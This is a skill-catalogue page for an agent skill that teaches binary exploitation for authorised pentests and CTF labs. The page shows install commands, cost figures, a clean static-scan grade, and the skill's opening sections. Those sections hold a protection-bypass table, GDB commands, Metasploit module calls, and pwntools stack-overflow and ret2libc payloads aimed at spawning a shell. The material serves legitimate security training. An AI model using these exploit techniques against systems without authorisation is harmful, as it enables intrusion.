Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/suzu-testing/metasploit-cursor-harness/binary-exploit-pentestnpx skills add Suzu-Testing/metasploit-cursor-harness --skill binary-exploit-pentestgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00049 | $0.01889 |
| Opus 5 | $0.00024 | $0.00945 |
| Sonnet 5 | $0.00010 | $0.00378 |
| Haiku 4.5 | $0.00005 | $0.00189 |
Grade A, and why
binary-exploit-pentest scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 290 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Binary Exploit Pentest
Prerequisites
- Engagement ROE must explicitly authorize binary exploit development.
- CTF/lab binaries: controlled environments only.
- Prefer
msf_module_checkwhen public MSF module exists.
Workflow
Task Progress:
- [ ] Identify binary protections (RELRO, Canary, NX, PIE, ASLR)
- [ ] Select methodology (stack, heap, format string, ROP)
- [ ] Develop PoC in isolated lab; map to CVE/module if production target
- [ ] Hand off to msf-exploit-chain if public MSF module exists
Protection assessment
MSF: No direct module; use CLI.
CLI fallback:
checksec --file=./binary
file ./binary
readelf -h ./binary
ldd ./binary
| Protection | Meaning | Bypass |
|---|---|---|
| NX | Stack/heap not executable | ROP, ret2libc |
| Canary | Stack cookie | Leak via format string |
| PIE | ASLR for binary base | Leak address |
| RELRO Full | GOT read-only | Avoid GOT overwrite |
| ASLR (system) | Libc/stack random | Leak libc address |
GDB + GEF workflow
MSF: No direct module; use CLI.
CLI fallback:
gdb ./binary
gef ./binary
break *main+42
run $(python3 -c 'print("A"*100)')
pattern create 200
pattern offset 0x41414141
vmmap
checksec
Buffer overflow methodology
Basic stack overflow (no protections)
MSF MCP (preferred):
msf_search_modules(query="<service> buffer overflow")
msf_module_check(
module_name="exploit/...",
engagement_id="<id>",
module_type="exploit",
options={"RHOSTS": "<target>", "RPORT": 9999}
)
CLI fallback:
from pwn import *
elf = ELF('./binary')
offset = 72
win = elf.symbols['win']
payload = b'A' * offset + p64(win)
ret2libc (NX enabled, no PIE)
MSF: No direct module; use CLI.
CLI fallback:
from pwn import *
elf = ELF('./binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
offset = 72
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
payload = flat({offset: rop.chain()})
# Stage 2 after leak: system('/bin/sh')
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 290 lines · 49 tokens per session scan A 7f117b0e3319
binary-exploit-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 9d ago), licensed MIT. It adds 49 tokens to every session and 1,889 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…